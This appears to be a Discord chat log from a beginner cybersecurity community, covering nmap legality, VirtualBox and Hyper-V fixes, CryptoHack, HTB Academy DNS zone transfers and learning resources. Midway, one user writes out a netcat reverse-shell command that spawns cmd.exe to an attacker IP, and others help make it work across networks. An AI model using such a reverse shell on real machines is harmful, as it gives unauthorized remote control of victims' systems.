If she truly paranoid about being hacked, re-install and do what I said earlier

[chilly merlin]

Is it legal to use NMAP on home wifi network when given permission?

[chilly oar]

Yeah... I think some type of -extremely- basic tech literacy course would help. It is hard to explain things to her in a way where she doesn't get paranoid though... Like she freaked out bc of the "hide my email" feature on ios when she saw an email she didn't recognize in settings... I was able to explain that to her, but it's like trying to tell someone where the refresh button is

[lean lance]

With permission of whoever owns the network. It's always legal.

[lean lance]

Yeah it can be challenging for older folks. Especially with the broad threat landscape and news coverage on threats this day and age

[chilly oar]

Absolutely. I'm always as respectful as possible, but if anyone can give some simple resource on hacking/internet security, it would probs save me a lot of heartache

[frosty cave]

helo guys i need help with splunk

[lean lance]

I wouldn't know what to give you that would convince her that her files are not disappearing to be honest

[frosty cave]

if any one have an idea

[lean lance]

If anything, it would make her paranoia worse

Making sure nothing is disappearing, would be to show her the right ways of operating her PC, in my opinion

[chilly oar]

Yeah youre right... I'm looking at this from the lens of someone who works in tech

[lean lance]

Walk through simple things where she is doing it the wrong way, and perhaps even screen record so she can watch it back at anytime without you having to keep explaining.

[chilly oar]

But when I think about it, literacy is something I gained over the course of years...

[mild talon]

how to use cryptohack please someone tell me

[lean lance]

Do you mean the platform?

[mild talon]

no the practice questions like the first chapter of finding flags

should i send the questions

[lean lance]

Not familiar with the platform itself, but I'm guessing they have the information on how to go about it on there

Have you checked: https://cryptohack.org/courses/intro/

[mild talon]

yes when i go to courses they give a question

Each challenge is designed to help introduce you to a new piece of cryptography. Solving a challenge will require you to find a "flag".

These flags will usually be in the format crypto{y0ur_f1rst_fl4g}. The flag format helps you verify that you found the correct solution.

Try submitting this flag into the form below to solve your first challenge.

this the question and they tell to enter a flag I don't know what a flag is and also i don't understand the question please help me with this

[lean lance]

You mean the one to registeR?

[mild talon]

NO i have solved that one cipher problem

when we start beginer course then at start of the course the first problem Which i can't solve

[lean lance]

Let me register, and check. I'm curious now

Is it the very first one?

Because I already solved it in 3 seconds

[mild talon]

Yes

[lean lance]

Lmao

Read the text properly. The answer is in your face

Literally

😄

[mild talon]

do i have to enter crypto{FLAG}

[lean lance]

"Try submitting this flag into the form below to solve your first challenge."

Read that sentence and then read the text above that sentence again. You will find the answer

[chilly merlin]

is smth like manipulating Jquery hard

[lean lance]

@mild talon Please tell me you solved it

😭

I have hope

[mild talon]

what the hell was the that it literally was written in the question

i thought that it was some kind of code word or some kind of cipher thanks cyphrsec

[lean lance]

You're welcome 😆

[mild talon]

actually this is my day 1 of learning cyber security i may ask silly questions don't mind please

[lean lance]

That's okay, But it's not even CyberSec related. You just gotta make sure you thoroughly read and understand the context you've been giving.

And that's genuine advice, it will help you alot in this field trust me

[chilly merlin]

are there any services to test nmap?

Like IP etc

[lean lance]

http://scanme.nmap.org/

Legally scanable, provided by nmap themselves

"Try not to hammer on the server too hard. A few scans in a day is fine, but don't scan 100 times a day or use this site to test your ssh brute-force password cracking tool."

[chilly merlin]

Thanks

[echo talon]

You can also do a CTF and scan whatever box depending on the CTF

[chilly merlin]

Well. I just got kali today. I know little bit how to use nmap, proxychains (Know how to use them correctly), then little bit programming. Just tryna test things without getting in legal trouble

[echo talon]

Scan your own network or do a CTF

[soft basin]

Hello can anyone help me with this error?
E_FAIL (0X80004005)

when i lunch my vm in virtualmachine it says aborted

I tried common fixes but didn't work, like turing off hyper-v

[chilly merlin]

Enable Virtualization in your BIOS/UEFI settings (Intel VT-x or AMD-V) if it's disabled.

Reboot your machine and enter the BIOS/UEFI settings (usually by pressing F2, Delete, or Esc during startup) to ensure that virtualization is enabled.

[soft basin]

the thing is it was working fine yesturday

I will try to find that in my bios

[soft basin]

intel virtualization tech is enabled already

is that it

?

[chilly merlin]

Yea

[soft basin]

should i exit the bios?

[chilly merlin]

Try using chat gpt the error code means smh

[chilly merlin]

Yes

[soft basin]

can it be something inside vm thats causing the problem?

[lean lance]

I suggest reinstalling VirtualBox, it seems like it has some corrupted files

[chilly merlin]

Yea

[lean lance]

Make sure to run the installer as Administrator, if not automatically prompted

[chilly merlin]

Optimal

[soft basin]

can it be something inside vm thats causing the problem?

[chilly merlin]

1. Enable Virtualization in BIOS/UEFI:

Restart your PC, enter BIOS/UEFI (press F2, Delete, or Esc during startup).

Ensure Intel VT-x or AMD-V is enabled.

2. Disable Hyper-V (if on Windows):

Run Command Prompt as Administrator and enter:

bcdedit /set hypervisorlaunchtype off

Restart your PC.

3. Update VirtualBox:

Make sure you’re using the latest version of VirtualBox.

4. Reinstall VirtualBox:

Uninstall VirtualBox and reinstall the latest version.

5. Check VM Logs:

In VirtualBox, right-click the VM, go to Show Log, and check for any specific errors.

6. Increase VM Resources:

Right-click the VM in VirtualBox, go to Settings > System, increase RAM and CPU.

[soft basin]

already did first 2 steps

and i don't understand logs

i tried looking at it

[lean lance]

It's likely due to corrupted VirtualBox files

[soft basin]

if i reinstall virtualbox will i keep the vm inside it?

[chilly merlin]

Do 4

[chilly merlin]

Yea

@lean lance

U good at this

[lean lance]

Make a backup file first of the VM

[soft basin]

i just copied the folder of virtual boxes

[lean lance]

yea that's fine

[soft basin]

btw do you prefer virtualbox or vmware?

if you are using free versions

[lean lance]

Both are decent, VMware is a bit smoother i.m.o

However the future of vmware is kinda unknown as of now

[soft basin]

how can i send the pictures?

[lean lance]

They are discontinuing their services mostly, not sure if it's gonna get updated anymore

[soft basin]

https://imgur.com/a/Rw6bg7j

[lean lance]

You reinstalled?

[soft basin]

yes

[lean lance]

Copied over the folders? in the exact path

[soft basin]

oh wait it works

Thanks a lot

🙏

[lean lance]

Nice, good to hear 🙂

[hushed island]

Damn when did that happen? So Is virtual box the way to go then?

[lean lance]

Well they released their software as free now, because they discontinued every license

I'm not sure what is gonna happen in the future, maybe another company takes it over

For now, I'd stick with VirtualBox

[soft basin]

btw do you know what this means?
https://imgur.com/a/23Z6ORt

[hushed island]

Can you install packages on hyperV that basically make it to where you are running Linux through hyperV?

[lean lance]

https://blogs.vmware.com/cloud-foundation/2024/01/22/vmware-end-of-availability-of-perpetual-licensing-and-saas-services/

[lean lance]

No clue, where do you see that?

[twin harness]

VT-x is not available

[soft basin]

on my virtualbox

[twin harness]

do you have an intel?

[soft basin]

yes

[twin harness]

go into bios and enable virtualization

[soft basin]

but it was enabled

[twin harness]

Do you have another vm software?

like vmware?

[soft basin]

nope

i only have virtualbox and hyper-v is turned off

[echo talon]

Make sure to save the settings in your bios and there may be multiple settings to unlock virtualization

Also try VMware pro it's free now

[twin harness]

check if your motherboard supports VT-x

Sometimes the cpu does but the motherboard dosen't

[soft basin]

there was an option in cpu overclocking called intel virtualization tech

and it was already enabled

[twin harness]

Have you checked if the motherboard supports it?

[soft basin]

I think it does my motherboard is z370 gaming plus

[twin harness]

In Hyper-V, make sure it dosent have access to VT-x, as it might stop virtualbox to access it

[soft basin]

hyper-v is disabled in windows settings

[twin harness]

I assume your current OS is windows, correct?

Try see if you can enable it in the OS settings, it sometimes disables it automatically

[soft basin]

yes windows 11

[soft basin]

what hyper-v?

[twin harness]

Figured it out, you have Hyper-V enabled somewhere, double check your settings

[lean lance]

Literally already said like 50 messages ago

[twin harness]

Did a bit of reasearch, the white V in the middle means Hyper-V is enabled

[soft basin]

https://imgur.com/a/tYAnEAp

[twin harness]

Disable the Hyper-V in your bios

[soft basin]

is that in overcloacking settings?

[lean lance]

Disable Hyper-V in Bios, what you on about

@soft basin Open Powershell as Admin and run Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-Hypervisor

To make sure it's fully disabled

[soft basin]

PS C:\Windows\system32> Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-Hypervisor


Path          :
Online        : True
RestartNeeded : False

i did it

[twin harness]

Pretty sure its a thing

[lean lance]

No, Hyper-V cannot be disabled in the BIOS because it is a software-based hypervisor that operates at the OS level.

[twin harness]

Ah, my mistake, thanks for correcting me 👍

[lean lance]

Only thing would enabling/disabling Virtualization in the Bios (AMD-V or Intel-VTx) like you mentioned to be able to run Hyper-V

[soft basin]

but is hyper-v bad?

[lean lance]

Hyper-V enabled + VirtualBox don't play well

If you wanna run VirtualBox smoothly, yes

[twin harness]

For running kali on virtualbox, yeah

[lean lance]

They interfere most of the time

[soft basin]

https://imgur.com/a/RsVbLTt

[lean lance]

That looks normal, yes

[soft basin]

Ok thanks

[keen terrace]

Hi there, folks.
I am trying to setup a DIY VPN server with Wireguard, from my local computer to a VPS. It connects, but I lose internet access once connected.
I have been debugging it here since yesterday, can't seem to find what's wrong. AI is not helping neither.
Any tips? Here's my config: https://gist.github.com/fschuindt/4af923f1d5af9c56e75bcbba4a6458d2
Thanks!

[reef remnant]

Hello guys, I just built a homelab using VM. Are there any resources / guides that I can follow to play around with different things ?

[crystal lark]

The most basic and pioneer version of labs are DVWA and Juice Shop. You can also download Metasploitable for your environment. Do note that successfully completing those will not make you good in web and application pentests, but will give you an idea how attacks work

[reef remnant]

If I want to get hands-on experience on SIEM or IAM, any advices?

[crystal lark]

Not sure about home environments which facilitate it. You can try using open source WAFs like PfSense. It's a great one to get started with detection and rule-making. I think ELKStack is pretty good too

[reef remnant]

Thanks for the advice

[gloomy radish]

Hyper V is also a type 1 (bare metal) hypervisor now as well.

Microsoft offers an evaluation license for Windows Server that’s good for 180 days (last time I checked)

[subtle tundra]

can i host a website and email on the same domain

[chilly merlin]

yes

email forwarding is usually the thing

[upbeat veldt]

Think about it like your contacts in your phone... You know the persons name you want to call but you don't remember their number... DNS is like your contact list, in this context you put in the name of the website, DNS gives you the IP (number to call), you then proceed to call the number and now you can talk to the person you were trying to contact

[teal furnace]

Hey y’all

[prisma escarp]

Im a complete beginner and I want to get into cyber secuirty. What/where should I start learning

[twin harness]

Tryhackme has some free rooms and its quite cheap for what it teaches you, you can learn everything you need to know for £12/mo

[prisma escarp]

bet thank you

[twin harness]

Youre welcome

[chilly merlin]

someone help im stuck on the priv esc on pyrat

pretty please

cherry on top or sum shii

haha nvm guessd the passwd

[weak bough]

Any help

So I switch my MacBook to Alienware 17 R4 idk I can’t connect to wifi

[cyan tusk]

Hmm...are getting any errors or strange icons?

[weak bough]

The Killer Wireless-n/a/ac 1535 Wireless Network Adapter adapter Not fixed is experiencing driver- or hardware-related problems
A network cable is not properly plugged in or may be broken
Tot fixed

This it shows

Idk this is a lot to work on this

[cyan tusk]

yes I have the same laptop and i think alienware just acts super funny with hardware i have the same problems

[weak bough]

Oh noo 😮

Did you fix it?

I’m not familiar with this since i use apple product most of the time

I didn’t even know that this is so big too lol

[cyan tusk]

the only thing that helped me is the windows bloatware and conf the alien ware service sometimes doesnt support or gets confused but I have work early if you still have the same issue tm i'd love to help....see ya

https://tenor.com/view/peace-out-im-out-bye-gif-14304356

[weak bough]

Is a wifi adapter it will help?

[gloomy radish]

I would suggest doing the CompTIA Network+ course/book/certification. it will give you a solid grounding in networking, including all the answers to everything you’ve asked here. Covers quite a bit, and you will have a whole new appreciation for how things work on a LAN, and the internet. Also, it’s a great foundation for further learning and education in IT.

[chilly merlin]

Complete

• Comptia a+

• Comptia net+

[north nacelle]

Hello im new here

[deft light]

hejo ^^ is there a good website to learn about AD for windows server and maybe also learn about the most common rolle and features like dns, dhcp, ... ?

[dusty talon]

Hey…I wanted to ask that which stream in college (b.tech) should we take to go in cybersecurity …

[chilly merlin]

Are there are sites on to test pen testing?

[chilly merlin]

https://tryhackme.com
https://hackthebox.com\

@chilly merlin

[unreal reef]

what specific type of pentesting do u wnana do

[unreal reef]

whats ur goal w cybersec

[chilly merlin]

The most suitable for a beginner

[gloomy radish]

Yes, Microsoft Learn.

[gloomy radish]

That’s a powerful list

[unreal reef]

mate that doesnt answer what goal do u have inside of pentesting

dyk what it is?

have u looked into it begore

[chilly merlin]

yes

[unreal reef]

explain it to me

if u know what it is

[chilly merlin]

It's that u simulate a cyber attack on a computer system ur own or a company 1. And then you try to find vulnerabilities and then try to fix them.

[unreal reef]

simulate?

wym u simulate a attack

[chilly merlin]

It's that u basically attack ur own system to find things what hackers can exploit

[unreal reef]

mate pentesting or penetration testing is looking for vulns and exploits theres different types like networking pentesting web application pentesting etc

thats a small explaintion of pentesting

u prob googled and saw something about simulatint attacks its actual ”attacks” if u wanna call it that the difference is insted of doing a unethical thing with those ”attacks” u use them to find vulns and exploits to report to whoever u pentest gor

for

now what i was asking is what specific type of pentesting do u wanna do web app based pentesting networking based pentesting etc etc

[chilly merlin]

network

[unreal reef]

https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf

[chilly merlin]

Thank you

[chilly merlin]

okay. but consider doing the short and free network fundamentals course on https://netacad.com to get a basic understanding on Networking before you start on the real deal

[chilly merlin]

Where can I find the IP address on there to scan?

[lean lance]

You can always use the ping command to find the IP of a domain

[chilly merlin]

Is nord VPN fine?

[lean lance]

Well, If you care about privacy, no

[chilly merlin]

So mullvad is my best shot?

[lean lance]

Mullvad is excellent, I use that myself too

[chilly merlin]

Does apple provide apple provide macOS ISO?

[wooden hinge]

Apple does OTA updates. Idk if they supply a mac ISO, but if they do accessing it is probably convoluted.

Is there a particular reason you want one? Generally getting one is kinda pointless.

[chilly merlin]

Just wanna run it in a VM

[wooden hinge]

Oh, yeah, hah, good luck.

[chilly merlin]

Never used macOS so

[wooden hinge]

MIGHT be possible.

But apple doesnt like running in a VM.

[chilly merlin]

Alright

[wooden hinge]

Might be cracked versions out there.

[chilly merlin]

I aint trusting cracked 😭 Had a bad experiences with some of them

[wooden hinge]

Good. You shouldnt.

But generally thats what youre limited to with heavily locked down software like macos.

🤷‍♂️

[chilly merlin]

Ah. So basically to test out macOS is to buy a mac

[twin harness]

Yeah, really

[nimble lion]

i need help with my internet connection

it takes the browser and any other programm to connect to the internet about 30 seconds wich is anoying

it started just some days ago

please help me

[twin harness]

Run a speed test

[nimble lion]

i have

925mbit down and 52 up with 17ms ping

but it takes time to connect to the services

[twin harness]

What browser do you use?

[nimble lion]

and my system doesnt lack memory or speed eighter

vivaldi

but opera has the same thing going on

same in discord and cursforge

[twin harness]

Try use another browser like chrome or edge to connect to the same website and see if it's faster

[nimble lion]

edge???

nah bro

😩

not that i know of

well i run a minecraft server

but i had the files already

vps? whats that

[twin harness]

Virtual Private Server

[nimble lion]

with my pc and a port forwarding service calle playit.gg

well i have run it before and han no problems with that

wps is now off but its still the same

this message took 30 sek to send just now

arg

receiving 1.3 kbit sending 17kbit

send at 20.15

annoying

and i dont have a task manager

Systeminformation

[chilly merlin]

What are the best linux just to experiment things? Like what linux or windows

[deft light]

Hey! As a fresh IT technician graduate in Central Europe, I'm looking for suggestions on courses from Microsoft Learn or other platforms that would help me prepare for the companies I’ll be applying to. What topics should I focus on to make myself more competitive and well-prepared for the job market?

[nimble lion]

arch if you can do it but mint is very easy and windows like

[sacred flare]

any linux distro should be good enough but if you are familiar with windows you can use mint they are similar

[chilly merlin]

Hello yall

[sacred flare]

Does someone know how worth it is to study cybersecurity in 2024? because I been searching and I have seen a lot of opinions about this topic because of the job market

[chilly merlin]

Def worth but need skills

[sacred flare]

i have seen people both in colleges/social media saying how hard it is to find a job and that they ask for experience in new entry level

[deft light]

yeah worth absolutely ^^ here in Europe there are companies that help other companies to hardning their systems and they focus on attacking the companies and other stuff like sozial engineering

also my dream one day ^.^

[sacred flare]

what are some actually esentials skills needed? I been learning python and using web sites like hackthebox to learn some of the bases, I have a lot of knowledge about linux tho

[chilly merlin]

Lemme know if u guys need anything

[deft light]

So for example a friend of mine did the same apprenticeship as I did (IT-Technician) but he applied to a it security companies and in his apprentice years he learned much about pan testing, .... and now after 4 years he is now a security engineer

[sacred flare]

What does he do as a security engineer?

[deft light]

Mhhh I think the best thing is that you like what you do (for your example IT-Security stuff ...) outside the normal working days ... if you get what I mean, because in the cyber-security path you need more time then the companies could provide you with, especially in the begining

[chilly merlin]

meow

[deft light]

So for example now he has his first attack to get access to a companies that hired their companie to find vulnabilities. He has to get access through probably social engineering and after that the goal is to get as much access to the system as he can ...

[sacred flare]

are there different paths in cyber security or they all target the same thing? like for someone that study cs is the same thing that someone that has an engineering on it?

[deft light]

I am now done with my apprentice as a IT-Technician and know much about networking, devices like switch, router, firewall, ..., protcols and other stuff. Now I apply to companies to help them with the it infrastructure ... but that is not my goal. I also want to get into cyber security ... so I start with try hack me and when I got got know how on alot of thing I switch to htb. When I reach that and had probably 1-2 year in a companies as IT-Infrastructure with some security parts ... I apply as an it security engineer and come closer and close to becoming a real good pentester or someting else in the it security path ^_°

[deft light]

The main thing is the same, make the it-infrastructures more secure

Then there are many different jobs from only being second lvl support with firewall and rules and protocols like ids/ips ... then there is people that train the companies employees for better handling with mails and other risks ...

[sacred flare]

thank you man you help me a lot

[deft light]

I hope so ^^ np

I mean probably you could see what makes you alot of fun while working on it, maybe it you had fun making some code and it did something you wanted, or you build your own it infrastructure and that was really cool, or trying to take over you own network was the kick you liked the most. And so you see what you probably could do over decades and don't lose fun for work or so ^.^

One more thing, only theoretical stuff is getting hard to stay on track with the topic you choose. When you have a topic, then also try to make a small project that you can work on and see how it behave in practical not only theoretical. Then you probably run into problems they did not disgust theoretical ... when you solved it, it not only gives you a kick but you get better understanding and you will most likely know it the next time it happens

That's for it peace out 🎋

[frigid monolith]

how to win ctf's

asking because i don't have good team i'm more of a solo

[weak bough]

There’s a course in Harvard u can take it online for free they have computer science too different program

https://pll.harvard.edu/course/cs50-introduction-computer-science

[chilly merlin]

Practice

[worn bison]

i'm facing some issues with reverse shell , can anyone guide me a little

[deep rock]

Did you create the shell from scratch?

[worn bison]

no 😶

i mean the thing is , i'm able to create a connection on the same network but for diff network i dont know how to make it work

i have done port forwarding but it aint working , btw in this scenario i am using netcat

[frigid monolith]

send code

@chilly merlin on over the wires war games ?

[deep rock]

Have you tried connecting to your external port from your presumed victim device?

[worn bison]

for victim:
nc <public ip of hacker> <port> -e cmd.exe
for hacker:
nc <same port> -lvnp

[deep rock]

So the port you forwarded was the same port you opened on your device as an attacker

[worn bison]

yeah ports are same

[deep rock]

Are you using a router?

[worn bison]

yeah

[deep rock]

Perhaps the port isn’t actually open

[worn bison]

simple router at home

[deep rock]

Maybe try nmap scanning your public ip

It could validate the port actually being open

[worn bison]

first perform port forwarding then scan own (hacker's) public ip , right ?

[deep rock]

Yes

[worn bison]

alright i'll try this , thanks

[deep rock]

I can guarantee it won’t be showing up in the scan

The port I mean

But give it a try anyways

[worn bison]

so it turned out when i port forward , my vmware(kali) get disconnected untill i undo that

[deep rock]

That’s weird, your vm is bridged to the network right

[worn bison]

Bridged : Connected directly to physical network

[deep rock]

I see, did you get any lead on that issue?

[safe ingot]

Does anyone know where I can find a good 3D printer

[wanton marsh]

Amazons for some good ones

I was told there was a good one on temu too but idk too much about that

[safe ingot]

Thanks

[wanton marsh]

Yeah no problem

I would recommend spending a bit of cash just because if you get a cheap one it might burn out really quickly

[crimson belfry]

Does anyone have experiences with Coursera's projects for hands on learning experience?

[wet ocean]

Hello guys i am having a connectivity problem on Information gathering module dns zone transfer section i can't even ping the target machine even though i edited the /etc/hosts file still can't able to ping the machine but i can still ping the machine in the skill assessment section but can't in this section can anyone help me?

[deft light]

is he in another network? is there a firewall between that?

maybe the ip for dns is set to the wrong dns server?

Does the other machine allow ping? check the sudo ufw status and see is the simple firewall is enabled

@wet ocean

[wet ocean]

inactive

skill assessment machine is pinging but not this one

[deft light]

so what are you trying? you have a machine and there are two other machine that one is pingable and one not?

[chilly merlin]

Do you have a firewall enabled?

[wet ocean]

disabled

[wet ocean]

the machine in dns zone transfer and fingerprinting is not able to ping even though i edited the /etc/hosts file but still can't ping when i checked the machine of skill assessment that machine able to ping

[chilly merlin]

@lean lance

[chilly merlin]

maybe the machine is not configured to recieve icmp requests >>idk

[deft light]

did you set the ip within the same range or are they in different networks?

when so, make sure the gateway is configured right

[lean lance]

Hmm

[wet ocean]

nah man the task is to perform dns zone transfer when i execute the command it says machine or server is down

[deft light]

so you wanna replicate dns records to a new dns server and that is not responding or maybe is down? did you check if it is maybe down?

the standard for dns server is that they block dns record transfers ...

[wet ocean]

bro i am doing it on htb academy will it block automatically ?

[deft light]

can you check the logs on the dns server?

[deft light]

ahhh

ok mb

Though you had a own network running ...

[wet ocean]

nah nah

[deft light]

what is the command you execute?

[wet ocean]

dig axfr @inlanefreight.htb inlanefreight.htb

[deft light]

something like that?
dig AXFR @dns-server-ip example.com

ahh try the ip of the dns server

[wet ocean]

did it as well

same result

[deft light]

mhh ok

[worn bison]

i'll try to solve this issue today

[deft light]

is it a windows dns server or a linux dns server?

dig @dns-server-ip example.com

try only dig

what is the response on it

[wet ocean]

okay let me try

it shows nx domain

dig @10.129.19.94 inlanefreight.htb

; <<>> DiG 9.18.28-0ubuntu0.24.04.1-Ubuntu <<>> @10.129.19.94 inlanefreight.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 28598
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;inlanefreight.htb. IN A

;; AUTHORITY SECTION:
. 85876 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2024101002 1800 900 604800 86400

;; Query time: 257 msec
;; SERVER: 10.129.19.94#53(10.129.19.94) (UDP)
;; WHEN: Fri Oct 11 13:08:37 IST 2024
;; MSG SIZE rcvd: 121

[deft light]

wait

there you go

it found one server with the ip you add

so it is reachable

now try the dig axfr ...

when that does not work you have to make sure the dns server 10.129.19.94 allow transfers

[wet ocean]

:~$ dig axfr inlanefreight.htb @10.129.19.94

; <<>> DiG 9.18.28-0ubuntu0.24.04.1-Ubuntu <<>> axfr inlanefreight.htb @10.129.19.94
;; global options: +cmd
; Transfer failed.

[deft light]

ok check the dns server configuration if you have access to the dns server 10.129.19.94

maybe the zone inlanefreight.htb is not defined right

zone "inlanefreight.htb" {
type master;
file "/etc/bind/db.inlanefreight.htb";
allow-transfer { any; }; # Or your specific IP address
};

did you check if the zone file exists under /etc/bind/db.inlanefreight.htb?

[wet ocean]

i can't send ss here

[deft light]

ss?

[wet ocean]

screenshot

[deft light]

ah yeah you can sent it to my pm

[wet ocean]

i sent u req

[deft light]

by any chance, did you maybe type the wrong domain name?

the output you sent in show that the dns server does not host the inlanefreight.htb

[wet ocean]

no man i have typed it the correct one

[deft light]

@lean lance so I did not find out, why the dns server is not responding to ping or anything else, but should be in the same network as the client he is on. The firewall is disabled ... he changed the host entry to match the dns server .... maybe you can help him ^^

[vague tusk]

Macbook is good in penetration testing?

[unreal reef]

its ab the person not the setup

yes it does the job

but it still wont make u a pro js bc its a macbook

[snow anchor]

Hi y'all, Slaam Alykum... I recently joined here and i don't really have much idea about what's going on in here.. I'm really interested in cybersecurity and wanna go deep down... Anybody who can guide or share something???

[wanton marsh]

https://tenor.com/view/owl-sec-no-srhoe-owl-sec-gif-27315984

[wanton marsh]

Wa Alaikum Assalam my brother if you have some knowledge I would recommend HackTheBox, If your starting from the very start and have never used a terminal or command line interface I would recommend going to tryhackme and doing all their free fundamental courses you can also check out #1181325692823150642

[snow anchor]

I'm already learning the command line , Thanks alot for ur help I'm definitely going to check em out

What can be next to those courses?

[frigid monolith]

hey which is the best reverse engineering tool

i am moving forward with r2 is it enough? as a beginner

[twin harness]

I will recommend you some

BinaryNinja

Ghidra

IDA Pro

OllyDbg

[unreal reef]

what catagory of reverse engineering 🤔

[twin harness]

r2 is fine for reverse engineering

[unreal reef]

What if hes into obfusaction based reverse engineering 😔

then nun of those tools help 😔

[opaque stream]

How is localhost used to pivot to another machine?

[twin harness]

r2 isnt based for obfuscation reverse engineering, but it can be used for obfuscated code

[opaque stream]

My guess is, localhost is configured to listen for a local service. Is that right?

[unreal reef]

it was a example 😔